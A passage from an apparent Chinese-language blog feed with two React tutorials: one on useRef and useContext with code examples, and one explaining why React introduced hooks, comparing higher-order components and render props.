<li>需要访问DOM元素进行操作</li>
</ul>
</li>
</ol><section><h5>存储可变值<a href="#存储可变值"><span>#</span></a></h5><p>存储分页参数</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>queryRef</span><span> </span><span>=</span><span> </span><span>useRef</span><span>({</span></div></div><div><div><div>2</div></div><div><span>  </span><span>code1</span><span>:</span><span> </span><span>''</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>code2</span><span>:</span><span> </span><span>''</span></div></div><div><div><div>4</div></div><div><span>});</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>const</span><span> </span><span>PrintBtn</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'testBtn'</span><span><span>, </span><span>queryRef</span><span>.</span></span><span>current</span><span>); </span><span>// 永远都是获取到最新的值</span></div></div><div><div><div>8</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>保存定时器ID或是上一次props的值</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>TimerComponent</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> </span><span>intervalId</span><span> </span><span>=</span><span> </span><span>useRef</span><span>(</span><span>null</span><span>);</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>handleStart</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>intervalId</span><span>.</span><span>current</span><span> </span><span>=</span><span> </span><span>setInterval</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>5</div></div><div><span><span>      </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'Timer tick'</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}, </span><span>1000</span><span>);</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>8</div></div><div><span>  </span><span>const</span><span> </span><span>handleStop</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>9</div></div><div><span>    </span><span>clearInterval</span><span><span>(</span><span>intervalId</span><span>.</span></span><span>current</span><span>);</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>11</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>handleStart</span><span>}</span><span>&gt;Start&lt;/</span></span><span>button</span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>handleStop</span><span>}</span><span>&gt;Stop&lt;/</span></span><span>button</span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>17</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>usePrevious</span><span><span>(</span><span>value</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> </span><span>ref</span><span> </span><span>=</span><span> </span><span>useRef</span><span>();</span></div></div><div><div><div>3</div></div><div><span>  </span><span>useEffect</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>ref</span><span>.</span><span>current</span><span> </span><span>=</span><span><span> </span><span>value</span><span>;</span></span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>});</span></div></div><div><div><div>6</div></div><div><span>  </span><span>return</span><span><span> </span><span>ref</span><span>.</span></span><span>current</span><span>;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>访问DOM元素<a href="#访问dom元素"><span>#</span></a></h5><p>访问DOM元素并操作</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> </span><span>React</span><span>, { </span><span>useRef</span><span> } </span><span>from</span><span> </span><span>'react'</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>function</span><span> </span><span>TextInputWithFocusButton</span><span>() {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> </span><span>inputEl</span><span> </span><span>=</span><span> </span><span>useRef</span><span>(</span><span>null</span><span>);</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>  </span><span>const</span><span> </span><span>onButtonClick</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>inputEl</span><span>.</span><span>current</span><span>.</span><span>focus</span><span>();</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>&lt;&gt;</span></div></div><div><div><div>12</div></div><div><span><span>      </span></span><span>&lt;</span><span>input</span><span> </span><span>ref</span><span><span>=</span><span>{</span><span>inputEl</span><span>}</span><span> </span></span><span>type</span><span>=</span><span>"text"</span><span> /&gt;</span></div></div><div><div><div>13</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>onButtonClick</span><span>}</span><span>&gt;Focus the input&lt;/</span></span><span>button</span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>&lt;/&gt;</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>16</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><blockquote><p>操作DOM这个和Vue看起来差不多，区别是Vue绑定的ref是响应式的，React的这个修改current也不会更改</p></blockquote></section></section><section><h4>useRef的用法<a href="#useref的用法"><span>#</span></a></h4><p><code>useRef(initialValue)</code></p><p><a href="https://zh-hans.react.dev/reference/react/useRef" target="_blank">https://zh-hans.react.dev/reference/react/useRef</a></p><section><h5>参数<a href="#参数"><span>#</span></a></h5><p>initialValue：ref 对象的 current 属性的初始值。可以是任意类型的值。这个参数在首次渲染后被忽略。</p></section><section><h5>返回值<a href="#返回值"><span>#</span></a></h5><p>useRef 返回一个只有一个属性current的对象:
current：初始值为传递的 initialValue。之后可以将其设置为其他值。如果将 ref 对象作为一个 JSX 节点的 ref 属性传递给 React，React 将为它设置 current 属性。
在后续的渲染中，useRef 将返回同一个对象。</p></section></section></section>
<section><h3>useContext: 定义全局状态<a href="#usecontext-定义全局状态"><span>#</span></a></h3><section><h4>为什么需要useContext?<a href="#为什么需要usecontext"><span>#</span></a></h4><p>主要是为了解决React中多层组件 <code>props drilling</code> (逐层传递props) 的困扰，用于跨层级数据传递，React提供了Context机制，可以在某个组件树根节点上挂Context，所有该组件树下子节点都可以访问或修改这个Context，每当修改Context时，使用该Context的组件就会重新执行渲染，在函数式组件中，就是使用useContext来管理Context</p><p>直接看一个例子，用于获取主题的</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>themes</span><span> </span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>light</span><span>:</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>foreground</span><span>:</span><span> </span><span>"#000000"</span><span>,</span></div></div><div><div><div>4</div></div><div><span>    </span><span>background</span><span>:</span><span> </span><span>"#eeeeee"</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>6</div></div><div><span>  </span><span>dark</span><span>:</span><span> {</span></div></div><div><div><div>7</div></div><div><span>    </span><span>foreground</span><span>:</span><span> </span><span>"#ffffff"</span><span>,</span></div></div><div><div><div>8</div></div><div><span>    </span><span>background</span><span>:</span><span> </span><span>"#222222"</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span>};</span></div></div><div><div><div>11</div></div><div><span>// 创建一个 Theme 的 Context</span></div></div><div><div><div>12</div></div><div><span>const</span><span> </span><span>ThemeContext</span><span> </span><span>=</span><span><span> </span><span>React</span><span>.</span></span><span>createContext</span><span><span>(</span><span>themes</span><span>.</span></span><span>light</span><span>);</span></div></div><div><div><div>13</div></div><div><span>function</span><span> </span><span>App</span><span>() {</span></div></div><div><div><div>14</div></div><div><span>  </span><span>// 整个应用使用 ThemeContext.Provider 作为根组件</span></div></div><div><div><div>15</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>16</div></div><div><span>    </span><span>// 使用 themes.dark 作为当前 Context</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>&lt;</span><span>ThemeContext.Provider</span><span> </span><span>value</span><span><span>=</span><span>{</span><span>themes</span><span>.</span></span><span>dark</span><span><span>}</span><span>&gt;</span></span></div></div><div><div><div>18</div></div><div><span><span>      </span></span><span>&lt;</span><span>Toolbar</span><span> /&gt;</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>&lt;/</span><span>ThemeContext.Provider</span><span>&gt;</span></div></div><div><div><div>20</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>21</div></div><div><span>}</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>// 在 Toolbar 组件中使用一个会使用 Theme 的 Button</span></div></div><div><div><div>24</div></div><div><span>function</span><span> </span><span>Toolbar</span><span><span>(</span><span>props</span><span>) {</span></span></div></div><div><div><div>25</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>27</div></div><div><span><span>      </span></span><span>&lt;</span><span>ThemedButton</span><span> /&gt;</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>29</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>30</div></div><div><span>}</span></div></div><div><div><div>31</div></div><div>
</div></div><div><div><div>32</div></div><div><span>// 在 Theme Button 中使用 useContext 来获取当前的主题</span></div></div><div><div><div>33</div></div><div><span>function</span><span> </span><span>ThemedButton</span><span>() {</span></div></div><div><div><div>34</div></div><div><span>  </span><span>const</span><span> </span><span>theme</span><span> </span><span>=</span><span> </span><span>useContext</span><span><span>(</span><span>ThemeContext</span><span>);</span></span></div></div><div><div><div>35</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>36</div></div><div><span><span>    </span></span><span>&lt;</span><span>button</span><span> </span><span>style</span><span><span>=</span><span>{</span><span>{</span></span></div></div><div><div><div>37</div></div><div><span>      </span><span>background</span><span>:</span><span><span> </span><span>theme</span><span>.</span></span><span>background</span><span>,</span></div></div><div><div><div>38</div></div><div><span>      </span><span>color</span><span>:</span><span><span> </span><span>theme</span><span>.</span></span><span>foreground</span></div></div><div><div><div>39</div></div><div><span><span>    </span></span><span>}</span><span>}</span><span>&gt;</span></div></div><div><div><div>40</div></div><div><span><span>      </span></span><span>I am styled by theme context!</span></div></div><div><div><div>41</div></div><div><span><span>    </span></span><span>&lt;/</span><span>button</span><span>&gt;</span></div></div><div><div><div>42</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>43</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>可以看到这是一个按钮获取theme的代码</p><ol>
<li>通过React.createContext声明了一个Context数据，初始值是theme.light。</li>
<li>ThemeContext.Provider是声明在组件树根节点上的，value用于接收初始值themes.dark。</li>
<li>App的子组件Toolbar的子组件ThemedButton可以通过useContext获取到当前theme从而改变自己的按钮颜色。
如果希望实现点击按钮切换主题，只需要让Context传入的值变化，可以通过state，如</li>
</ol><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//...</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>App</span><span>() {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> [</span><span>theme</span><span>, </span><span>setTheme</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>'light'</span><span>);</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> </span><span>changeTheme</span><span> </span><span>=</span><span> </span><span>useCallback</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'changeTheme'</span><span>);</span></div></div><div><div><div>6</div></div><div><span>    </span><span>setTheme</span><span><span>((</span><span>prevTheme</span><span>) </span></span><span>=&gt;</span><span> (</span></div></div><div><div><div>7</div></div><div><span><span>      </span></span><span>prevTheme</span><span> </span><span>===</span><span> </span><span>'light'</span><span> </span><span>?</span><span> </span><span>'dark'</span><span> </span><span>:</span><span> </span><span>'light'</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>));</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>}, []);</span></div></div><div><div><div>10</div></div><div><span>  </span><span>// 整个应用使用 ThemeContext.Provider 作为根组件</span></div></div><div><div><div>11</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>12</div></div><div><span>    </span><span>// 使用 themes.dark 作为当前 Context</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>&lt;</span><span>ThemeContext.Provider</span><span> </span><span>value</span><span><span>=</span><span>{</span><span>themes</span><span>[</span><span>theme</span><span>]</span><span>}</span><span>&gt;</span></span></div></div><div><div><div>14</div></div><div><span><span>      </span></span><span>&lt;</span><span>Toolbar</span><span> </span><span>changeTheme</span><span><span>=</span><span>{</span><span>changeTheme</span><span>}</span><span>/&gt;</span></span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>&lt;/</span><span>ThemeContext.Provider</span><span>&gt;</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>17</div></div><div><span>}</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>// 在 Toolbar 组件中使用一个会使用 Theme 的 Button</span></div></div><div><div><div>20</div></div><div><span>function</span><span> </span><span>Toolbar</span><span><span>(</span><span>props</span><span>) {</span></span></div></div><div><div><div>21</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>23</div></div><div><span><span>      </span></span><span>&lt;</span><span>ThemedButton</span><span> </span><span>changeTheme</span><span><span>=</span><span>{</span><span>props</span><span>.</span></span><span>changeTheme</span><span><span>}</span><span>/&gt;</span></span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>25</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>26</div></div><div><span>}</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>// 在 Theme Button 中使用 useContext 来获取当前的主题</span></div></div><div><div><div>29</div></div><div><span>function</span><span> </span><span>ThemedButton</span><span><span>(</span><span>props</span><span>) {</span></span></div></div><div><div><div>30</div></div><div><span>  </span><span>const</span><span> </span><span>theme</span><span> </span><span>=</span><span> </span><span>useContext</span><span><span>(</span><span>ThemeContext</span><span>);</span></span></div></div><div><div><div>31</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>32</div></div><div><span><span>    </span></span><span>&lt;</span><span>button</span></div></div><div><div><div>33</div></div><div><span>    </span><span>onClick</span><span><span>=</span><span>{</span><span>props</span><span>.</span></span><span>changeTheme</span><span>}</span></div></div><div><div><div>34</div></div><div><span>    </span><span>style</span><span><span>=</span><span>{</span><span>{</span></span></div></div><div><div><div>35</div></div><div><span>      </span><span>background</span><span>:</span><span><span> </span><span>theme</span><span>.</span></span><span>background</span><span>,</span></div></div><div><div><div>36</div></div><div><span>      </span><span>color</span><span>:</span><span><span> </span><span>theme</span><span>.</span></span><span>foreground</span></div></div><div><div><div>37</div></div><div><span><span>    </span></span><span>}</span><span>}</span><span>&gt;</span></div></div><div><div><div>38</div></div><div><span><span>      </span></span><span>I am styled by theme context!</span></div></div><div><div><div>39</div></div><div><span><span>    </span></span><span>&lt;/</span><span>button</span><span>&gt;</span></div></div><div><div><div>40</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>41</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><ol>
<li>点击Button</li>
<li>通过props.changeTheme修改ThemeContext</li>
<li>ThemedButton因为使用了ThemeContext因此重新执行，获取到最新的theme并渲染</li>
</ol><p>可以看到Context提供了一个多个组件中共享数据的能力，但是这样的方式可能会有一些负面影响：</p><ol>
<li>调试会困难，不好追踪Context的改变</li>
<li>组件复用困难，比如一个组件如果用了Context，那就必须确保父组件里有Context的Provider
在React中除了Theme、Language等一目了然需要全局设置的变量，很少会使用到Context，但是一些库还是用到了，比如React Flow、Antd的Form等</li>
</ol></section></section>
<section><h3>总结<a href="#总结"><span>#</span></a></h3><p>执行顺序如下</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>组件渲染开始</span></div></div><div><div><div>2</div></div><div><span>↓</span></div></div><div><div><div>3</div></div><div><span>执行 useContext (读取Context值，可能触发重新渲染)</span></div></div><div><div><div>4</div></div><div><span>↓</span></div></div><div><div><div>5</div></div><div><span>执行 useState/useReducer (可能触发状态更新)</span></div></div><div><div><div>6</div></div><div><span>↓</span></div></div><div><div><div>7</div></div><div><span>执行 useRef (创建/获取可变引用)</span></div></div><div><div><div>8</div></div><div><span>↓</span></div></div><div><div><div>9</div></div><div><span>执行 useMemo (可能执行计算逻辑)</span></div></div><div><div><div>10</div></div><div><span>↓</span></div></div><div><div><div>11</div></div><div><span>执行 useCallback (创建函数引用)</span></div></div><div><div><div>12</div></div><div><span>↓</span></div></div><div><div><div>13</div></div><div><span>渲染 JSX</span></div></div><div><div><div>14</div></div><div><span>↓</span></div></div><div><div><div>15</div></div><div><span>组件渲染完成</span></div></div><div><div><div>16</div></div><div><span>↓</span></div></div><div><div><div>17</div></div><div><span>执行 useLayoutEffect (同步副作用，DOM变更前)</span></div></div><div><div><div>18</div></div><div><span>↓</span></div></div><div><div><div>19</div></div><div><span>执行 useEffect (异步副作用，DOM变更后)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/framework/react/react%E4%B8%BA%E4%BB%80%E4%B9%88%E6%9C%89hooks/</id>
      <title type="text">React为什么有Hooks</title>
      <published>2025-06-04T00:00:00.000Z</published>
      <updated>2025-06-04T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/framework/react/react%E4%B8%BA%E4%BB%80%E4%B9%88%E6%9C%89hooks/"/>
      <summary type="text">React组件本质就是Model到View的映射。</summary>
      <content type="html"><![CDATA[<p>React组件本质就是Model到View的映射。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202506050003651.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<p>在没有React框架时，我们需要再Model处理时，手动去处理DOM节点如何变化的细节问题。</p>
<p>通过React，我们可以使用JSX，根据Model的状态变化，使UI自动变化，这就是数据绑定。</p>
<p>因此可以把UI的展示看成是函数执行的过程，Model是入参，执行结果是View(DOM树)，当Model变化时，函数重新执行，生成新的DOM树，然后React通过性能最优的方式把新的DOM树更新到浏览器。</p>
<p>此前用Class作为组件是不是合理呢？</p>
<p>首先使用Class作为React的组件有点牵强：</p>
<p>1.不用继承，比如组件ButtonGroup，不会继承Button来实现。</p>
<p>2.很少从外部调用组件实例的方法，组件的方法都是在内部调用。</p>
<p>但是当时有局限，函数组件无法存在内部状态，必须是纯函数，而且也无法提供完整的生命周期机制。这就极大限制了函数组件的大规模使用。 并且React官方也是宣扬组合(Composition)大于继承(inherit)，一说到组合，那必然是想到函数式编程，是函数式编程的核心思想之一。</p>
<section><h3>Hooks是如何诞生的？<a href="#hooks是如何诞生的"><span>#</span></a></h3><p>根据上述我们可以意识到，如果想让函数式组件用起来，那就要解决函数式组件没有状态的问题，也就是要给函数式组件加上状态。</p><p>函数和对象是不一样的，实例对象可以在多次渲染时保存状态，而函数则需要额外的空间去保存状态。</p><p>对应的就是函数需要有一个机制，将状态绑定到函数执行，当数据变化时，函数自动执行。这样任何影响UI的状态，都可以通过这个机制绑定到React的函数式组件上，并且在修改状态时，执行函数从而重新渲染组件。</p><p>在React中，这个机制就是Hooks。</p><p>Hook就是钩子的意思</p><blockquote><p>什么是钩子？钩子的工作方式类似：</p></blockquote><ol>
<li>建立连接
<ul>
<li>你将代码”钩”到某个数据源或事件源上</li>
<li>这就像把鱼钩放入水中，等待鱼的到来</li>
</ul>
</li>
<li>自动响应
<ul>
<li>当数据变化或事件发生时，钩子会自动触发</li>
<li>就像鱼咬钩时，你会感知到并拉竿</li>
</ul>
</li>
<li>无需持续监控
<ul>
<li>你不需要不断检查数据是否变化</li>
<li>系统会在合适的时机通知你，就像鱼咬钩时鱼线会动</li>
</ul>
</li>
</ol><p>对于函数式组件如下图</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202506050003078.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>Execution，例如就是函数式组件本身，State、URL就类似于被绑定(钩住)的状态，当被钩住的状态发生变化时，就会重新执行函数，产生更新后的结果</p><p>还有一点需要注意，Hooks 中被钩的对象，不仅可以是某个独立的数据源，也可以是另一个 Hook 执行的结果，这就带来了 Hooks 的最大好处：逻辑的复用。</p></section>
<section><h3>Hooks最大的好处：逻辑复用<a href="#hooks最大的好处逻辑复用"><span>#</span></a></h3><p>在之前的React中最让人诟病的就是逻辑复用，必须要借助高阶组件或是<strong>Render Props</strong>模式。但这两种方式都会产生冗余的节点，不便于调试和维护，而通过Hooks就可以很好的解决逻辑复用的问题。</p><p>举个例子，比如要实现一个根据不同窗口大小，展示不同组件的功能，需要逻辑可以复用的情况下，分别用高阶组件和Render Props实现的话如下</p><p>高阶组件</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>withWindowSize</span><span> </span><span>=</span><span><span> </span><span>Component</span><span> </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>// 产生一个高阶组件 WrappedComponent，只包含监听窗口大小的逻辑</span></div></div><div><div><div>3</div></div><div><span>  </span><span>class</span><span> </span><span>WrappedComponent</span><span> </span><span>extends</span><span> </span><span>React</span><span>.</span><span>PureComponent</span><span> {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>constructor</span><span><span>(</span><span>props</span><span>) {</span></span></div></div><div><div><div>5</div></div><div><span>      </span><span>super</span><span><span>(</span><span>props</span><span>);</span></span></div></div><div><div><div>6</div></div><div><span>      </span><span>this</span><span>.</span><span>state</span><span> </span><span>=</span><span> {</span></div></div><div><div><div>7</div></div><div><span>        </span><span>size</span><span>:</span><span> </span><span>this</span><span>.</span><span>getSize</span><span>()</span></div></div><div><div><div>8</div></div><div><span><span>      </span></span><span>};</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span>    </span><span>componentDidMount</span><span>() {</span></div></div><div><div><div>11</div></div><div><span><span>      </span></span><span>window</span><span>.</span><span>addEventListener</span><span>(</span><span>"resize"</span><span>, </span><span>this</span><span>.</span><span>handleResize</span><span>);</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>13</div></div><div><span>    </span><span>componentWillUnmount</span><span>() {</span></div></div><div><div><div>14</div></div><div><span><span>      </span></span><span>window</span><span>.</span><span>removeEventListener</span><span>(</span><span>"resize"</span><span>, </span><span>this</span><span>.</span><span>handleResize</span><span>);</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>    </span><span>getSize</span><span>() {</span></div></div><div><div><div>17</div></div><div><span>      </span><span>return</span><span><span> </span><span>window</span><span>.</span></span><span>innerWidth</span><span> </span><span>&gt;</span><span> </span><span>1000</span><span> </span><span>?</span><span> </span><span>"large"</span><span> ：</span><span>"small"</span><span>;</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>19</div></div><div><span>    </span><span>handleResize</span><span> </span><span>=</span><span> ()</span><span>=&gt;</span><span> {</span></div></div><div><div><div>20</div></div><div><span>      </span><span>const</span><span> </span><span>currentSize</span><span> </span><span>=</span><span> </span><span>this</span><span>.</span><span>getSize</span><span>();</span></div></div><div><div><div>21</div></div><div><span>      </span><span>this</span><span>.</span><span>setState</span><span>({</span></div></div><div><div><div>22</div></div><div><span>        </span><span>size</span><span>:</span><span> </span><span>this</span><span>.</span><span>getSize</span><span>()</span></div></div><div><div><div>23</div></div><div><span><span>      </span></span><span>});</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>25</div></div><div><span>    </span><span>render</span><span>() {</span></div></div><div><div><div>26</div></div><div><span>      </span><span>// 将窗口大小传递给真正的业务逻辑组件</span></div></div><div><div><div>27</div></div><div><span><span>      </span></span><span>return &lt;Component </span><span>size</span><span>=</span><span><span>{this.state.</span><span>size</span><span>} </span></span><span>/&gt;</span><span>;</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>29</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>30</div></div><div><span><span>  </span></span><span>return</span><span> </span><span>WrappedComponent</span><span>;</span></div></div><div><div><div>31</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>Render Props模式</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span> </span><span>// 一个提供窗口大小的 Render Prop 组件</span></div></div><div><div><div>2</div></div><div><span> </span><span>class</span><span> </span><span>WindowSizeProvider</span><span> </span><span>extends</span><span> </span><span>React</span><span>.</span><span>Component</span><span> {</span></div></div><div><div><div>3</div></div><div><span>   </span><span>constructor</span><span><span>(</span><span>props</span><span>) {</span></span></div></div><div><div><div>4</div></div><div><span>     </span><span>super</span><span><span>(</span><span>props</span><span>);</span></span></div></div><div><div><div>5</div></div><div><span>     </span><span>this</span><span>.</span><span>state</span><span> </span><span>=</span><span> { </span><span>size</span><span>:</span><span> </span><span>this</span><span>.</span><span>getSize</span><span>() };</span></div></div><div><div><div>6</div></div><div><span><span>   </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>   </span><span>componentDidMount</span><span>() { </span><span>/* ...监听逻辑... */</span><span> }</span></div></div><div><div><div>8</div></div><div><span>   </span><span>componentWillUnmount</span><span>() { </span><span>/* ...移除监听... */</span><span> }</span></div></div><div><div><div>9</div></div><div><span>   </span><span>getSize</span><span>() { </span><span>/* ...获取大小... */</span><span> }</span></div></div><div><div><div>10</div></div><div><span>   </span><span>handleResize</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> { </span><span>/* ...更新state... */</span><span> }</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>   </span><span>render</span><span>() {</span></div></div><div><div><div>13</div></div><div><span>     </span><span>// 调用 render prop，并将 state 作为参数传递</span></div></div><div><div><div>14</div></div><div><span>     </span><span>return</span><span> </span><span>this</span><span>.</span><span>props</span><span>.</span><span>render</span><span>(</span><span>this</span><span>.</span><span>state</span><span>);</span></div></div><div><div><div>15</div></div><div><span><span>   </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span><span> </span></span><span>}</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span> </span><span>// 使用 Render Prop 组件</span></div></div><div><div><div>19</div></div><div><span> </span><span>class</span><span> </span><span>MyComponent</span><span> </span><span>extends</span><span> </span><span>React</span><span>.</span><span>Component</span><span> {</span></div></div><div><div><div>20</div></div><div><span>   </span><span>render</span><span>() {</span></div></div><div><div><div>21</div></div><div><span>     </span><span>return</span><span> (</span></div></div><div><div><div>22</div></div><div><span><span>       </span></span><span>&lt;</span><span>WindowSizeProvider</span></div></div><div><div><div>23</div></div><div><span>         </span><span>render</span><span><span>=</span><span>{</span><span>({ </span><span>size</span><span> }) </span></span><span>=&gt;</span><span> { </span><span>// 接收 size</span></div></div><div><div><div>24</div></div><div><span>           </span><span>if</span><span><span> (</span><span>size</span><span> </span><span>===</span><span> </span></span><span>"small"</span><span>) </span><span>return</span><span> &lt;</span><span>SmallComponent</span><span> /&gt;;</span></div></div><div><div><div>25</div></div><div><span>           </span><span>else</span><span> </span><span>return</span><span> &lt;</span><span>LargeComponent</span><span> /&gt;;</span></div></div><div><div><div>26</div></div><div><span><span>         </span></span><span>}</span><span>}</span></div></div><div><div><div>27</div></div><div><span><span>       </span></span><span>/&gt;</span></div></div><div><div><div>28</div></div><div><span><span>     </span></span><span>);</span></div></div><div><div><div>29</div></div><div><span><span>   